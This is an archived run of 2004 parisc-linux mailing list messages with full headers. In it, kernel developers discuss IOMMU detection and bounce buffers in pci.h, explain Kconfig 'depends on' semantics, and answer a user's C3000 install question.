> Er, what?  Eh?  sym2 only uses a 32-bit DMA mask if you configure it to.
> And it appears we do tell it to ;-(

yeah...I'm probably responsible for that setting.
It worked the best. :^/
The 39/40 bit or full 64-bit support don't help on parisc-linux anyway.

> All machines include setup.c ... that's fine.

cool

> > +#ifndef CONFIG_PA20
> > +	parisc_bus_is_phys = FALSE;
> > +#endif
>
> Ifdefs suck.  Try this ...
> 
> +	parisc_has_iommu();

Yes - that's a good idea.

> /*
>  * If the PCI device's view of memory is the same as the CPU's view of memory,
>  * PCI_DMA_BUS_IS_PHYS is true.  The networking and block device layers use
>  * this boolean for bounce buffer decisions.
>  */
> #ifdef CONFIG_PA20
> /* All PA-2.0 machines have an IOMMU. */
> #define PCI_DMA_BUS_IS_PHYS	0
> #define parisc_has_iommu()	do { } while (0)
> #else
> #define PCI_DMA_BUS_IS_PHYS	parisc_bus_is_phys
> #define parisc_has_iommu()	do { parisc_bus_is_phys = 1; } while (0)
> #endif

This looks way better to me too.

> I'm tempted to define a couple of new config symbols rather than use
> CONFIG_PA20 -- if PCI_LBA and CCIO are both deselected (eg 712 build),
> we know the answer is 1.

Yes, that's true.

> Equally, if GSC is deselected, this must be
> a pure PCI machine (if it boots ;-) and they all have an IOMMU, though
> I guess you'd always select PA20 for that case.  In any case, I think
> a couple of new symbols are in order.

Hrm....I was trying to avoid new config symbols.
We have three cases where I only saw two before:
1) PA20=y, always have IOMMU (SBA or CCIO _MUST_ be enabled).
2) PA11=y, if SBA=n and CCIO=n, never IOMMU.
3) PA11=y, if SBA=y _or_ CCIO=y, requires runtime check

I think this is straight forward enough to code up in pci.h.

Further:
CCIO depends on GSC
SBA  depends on PCI

ergo Enabling PA20 and GSC but not PCI means CCIO *MUST* be enabled.
ergo Enabling PA20 and PCI but not GSC means SBA  *MUST* be enabled.

Could someone else look at Kconfig files to verify the above two
rules are enforced?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Tue, 16 Nov 2004 16:34:03 +0000
Lines: 65
Approved: news@gmane.org
Message-ID: <20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623596 11737 80.91.229.3 (22 Nov 2014 02:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19109 invoked by uid 65534); 16 Nov 2004 16:34:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 16 Nov 2004 17:34:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2D0F53BE75; Tue, 16 Nov 2004 09:34:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14832-02; Tue, 16 Nov 2004 09:34:35 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AC4413BE6E; Tue, 16 Nov 2004 09:34:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F8023BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:34:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13742-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:34:09 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 67D8E3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:34:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CU6HL-0004E5-V2; Tue, 16 Nov 2004 16:34:03 +0000
Content-Disposition: inline
In-Reply-To: <20041116160939.GB4176@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22116

On Tue, Nov 16, 2004 at 09:09:39AM -0700, Grant Grundler wrote:
> yeah...I'm probably responsible for that setting.
> It worked the best. :^/
> The 39/40 bit or full 64-bit support don't help on parisc-linux anyway.

Why not?  40 bits of addressing supports up to 1TB, which exceeds the
highest physical address on any PA machine I know about -- oh, but we
can't bypass the IOMMU, right?

> > Equally, if GSC is deselected, this must be
> > a pure PCI machine (if it boots ;-) and they all have an IOMMU, though
> > I guess you'd always select PA20 for that case.  In any case, I think
> > a couple of new symbols are in order.
> 
> Hrm....I was trying to avoid new config symbols.
> We have three cases where I only saw two before:
> 1) PA20=y, always have IOMMU (SBA or CCIO _MUST_ be enabled).
> 2) PA11=y, if SBA=n and CCIO=n, never IOMMU.
> 3) PA11=y, if SBA=y _or_ CCIO=y, requires runtime check
> 
> I think this is straight forward enough to code up in pci.h.
> 
> Further:
> CCIO depends on GSC
> SBA  depends on PCI
> 
> ergo Enabling PA20 and GSC but not PCI means CCIO *MUST* be enabled.
> ergo Enabling PA20 and PCI but not GSC means SBA  *MUST* be enabled.
> 
> Could someone else look at Kconfig files to verify the above two
> rules are enforced?

Ah, "depends on" doesn't mean what you think it does.  It means "if
GSC isn't selected, CCIO must be N.  if GSC is M, CCIO can be N or M.
if GSC is Y, CCIO can be Y, N or M."  OK, GSC can't be modular (nor can PCI),
but SCSI can, so:

config SCSI_SYM53C8XX_2
        tristate "SYM53C8XX Version 2 SCSI support"
        depends on PCI && SCSI

PCI ->	Y	N
SCSI v
Y	YMN	N
M	MN	N
N	N	N

The values in the table show the permitted values that SCSI_SYM53C8XX_2
can take on.  If there's only one possible answer, it doesn't even ask
the question ;-)  Think of 'depends on' as 'limit to' and it might be more
clear to you.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Tue, 16 Nov 2004 11:05:25 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20041116180525.GF4176@colo.lackof.org>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
	<20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623597 11743 80.91.229.3 (22 Nov 2014 02:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8904 invoked by uid 65534); 16 Nov 2004 18:06:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 16 Nov 2004 19:06:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EA5203BE79; Tue, 16 Nov 2004 11:06:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15564-03; Tue, 16 Nov 2004 11:06:03 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6EB073BE71; Tue, 16 Nov 2004 11:05:36 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6ADD63BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:05:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15430-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:05:28 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B7F173BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:05:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5EC0729810F; Tue, 16 Nov 2004 11:05:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06453-01; Tue, 16 Nov 2004 11:05:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3F81429810E; Tue, 16 Nov 2004 11:05:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22117

On Tue, Nov 16, 2004 at 04:34:03PM +0000, Matthew Wilcox wrote:
> On Tue, Nov 16, 2004 at 09:09:39AM -0700, Grant Grundler wrote:
> > yeah...I'm probably responsible for that setting.
> > It worked the best. :^/
> > The 39/40 bit or full 64-bit support don't help on parisc-linux anyway.
> 
> Why not?  40 bits of addressing supports up to 1TB, which exceeds the
> highest physical address on any PA machine I know about -- oh, but we
> can't bypass the IOMMU, right?

exactly.

Certainly not for CCIO.
On SBA, someone could try writing DVI mode support but I'm not going to.
I think DVI mode adds more complexity than performance improvement.
But clearly some workloads could benefit. Anything that helps avoid
IO TLB thrashing is a good thing.

On ZX1 (also SBA), I suppose it's possible to fully bypass using
non-coherent support.  But that seems like a step backwards for general use.

...
> > ergo Enabling PA20 and GSC but not PCI means CCIO *MUST* be enabled.
> > ergo Enabling PA20 and PCI but not GSC means SBA  *MUST* be enabled.
> > 
> > Could someone else look at Kconfig files to verify the above two
> > rules are enforced?
> 
> Ah, "depends on" doesn't mean what you think it does.  It means "if
> GSC isn't selected, CCIO must be N.

Oh. You are right...but YKWIM.

> if GSC is M, CCIO can be N or M.
> if GSC is Y, CCIO can be Y, N or M."
...
> The values in the table show the permitted values that SCSI_SYM53C8XX_2
> can take on.  If there's only one possible answer, it doesn't even ask
> the question ;-)  Think of 'depends on' as 'limit to' and it might be more
> clear to you.

*nod*
I'll have to re-read this and the original docs...but I suspected
I didn't fully understand Kconfig anyway.  That's contributing to why
I'm "defering" it. :^)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Tue, 16 Nov 2004 11:14:27 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20041116181427.GG4176@colo.lackof.org>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
	<20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623597 11745 80.91.229.3 (22 Nov 2014 02:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26912 invoked by uid 65534); 16 Nov 2004 18:15:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 16 Nov 2004 19:15:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C5EDF3BE72; Tue, 16 Nov 2004 11:15:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15430-09; Tue, 16 Nov 2004 11:14:57 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AE6A93BE73; Tue, 16 Nov 2004 11:14:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB4A93BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:14:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15564-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:14:29 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4FDE73BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 11:14:29 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 42C0D29810F; Tue, 16 Nov 2004 11:14:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06582-04; Tue, 16 Nov 2004 11:14:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A3B0729810E; Tue, 16 Nov 2004 11:14:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22118

On Tue, Nov 16, 2004 at 04:34:03PM +0000, Matthew Wilcox wrote:
> > Further:
> > CCIO depends on GSC
> > SBA  depends on PCI
> > 
> > ergo Enabling PA20 and GSC but not PCI means CCIO *MUST* be enabled.
> > ergo Enabling PA20 and PCI but not GSC means SBA  *MUST* be enabled.
> > 
> > Could someone else look at Kconfig files to verify the above two
> > rules are enforced?
> 
> Ah, "depends on" doesn't mean what you think it does.  It means "if
> GSC isn't selected, CCIO must be N.

Actually, in this particular case, this is what I was expecting. 
I didn't understand some of the other subtleties.
ie I'm still now sure how to encode "depends" statements
that involve PA20 and PCI/GSC vis a vis SBA/CCIO support.
Seems like it should be possible though.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C3000 doesn't work with Debian 3.0r1 ISO
Date: Tue, 16 Nov 2004 20:43:28 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20041117034328.GB15254@colo.lackof.org>
References: <NEBBKICDMOFAPLINPKAIEEAODIAA.bnet@tampabay.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623597 11747 80.91.229.3 (22 Nov 2014 02:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:17 +0000 (UTC)
Cc: "parisc-linux-lists." <parisc-linux@lists.parisc-linux.org>
To: fly <bnet@tampabay.rr.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30680 invoked by uid 65534); 17 Nov 2004 03:44:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 17 Nov 2004 04:44:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 585273BE80; Tue, 16 Nov 2004 20:43:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21241-03; Tue, 16 Nov 2004 20:43:55 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C8EB53BE7B; Tue, 16 Nov 2004 20:43:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CD813BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 20:43:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20875-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 20:43:30 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 170F43BE57
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 20:43:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4275929810F; Tue, 16 Nov 2004 20:43:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15299-07; Tue, 16 Nov 2004 20:43:28 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7593229810E; Tue, 16 Nov 2004 20:43:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <NEBBKICDMOFAPLINPKAIEEAODIAA.bnet@tampabay.rr.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22119

On Tue, Nov 16, 2004 at 05:16:22PM -0500, fly wrote:
> Question to PA-RISC help

Brian,
a few things would you can do better when posting for help:
1) Use a real name and not a nick name in your email address.

2) Use a Subject line that is relevant to the parisc-linux mailing list.
 
> I've downloaded all the 1st (bootable disks) from the HP Cupportino and
> other sites  from version 3.0 r0->r3 and although the effects to the monitor
> differ each one shuts off the usb power therefore my keyboard and mouse at
> the same spot. I'm reading something about hacking iso images at the moment
> but that will take time. It does seem like anyone with a machine that only
> can use usb like the c3000 would have run into this problem.

Indeed, they have. I'll remove the ISOs from that site and replace them
with debian-installer images. Folks seemed to be trying those images
on newer machines that don't work with those images.
Please try debian-installer available from:

	http://www.debian.org/devel/debian-installer/

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] small hw patch for n4k
Date: Thu, 18 Nov 2004 14:13:55 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <418A8003000053BD@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623598 11754 80.91.229.3 (22 Nov 2014 02:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3229 invoked by uid 65534); 18 Nov 2004 13:14:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx063) with SMTP; 18 Nov 2004 14:14:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D2F3F3BE54; Thu, 18 Nov 2004 06:14:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08047-01; Thu, 18 Nov 2004 06:14:16 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 826503BE5B; Thu, 18 Nov 2004 06:14:05 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14D073BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 06:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06453-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 06:13:58 -0700 (MST)
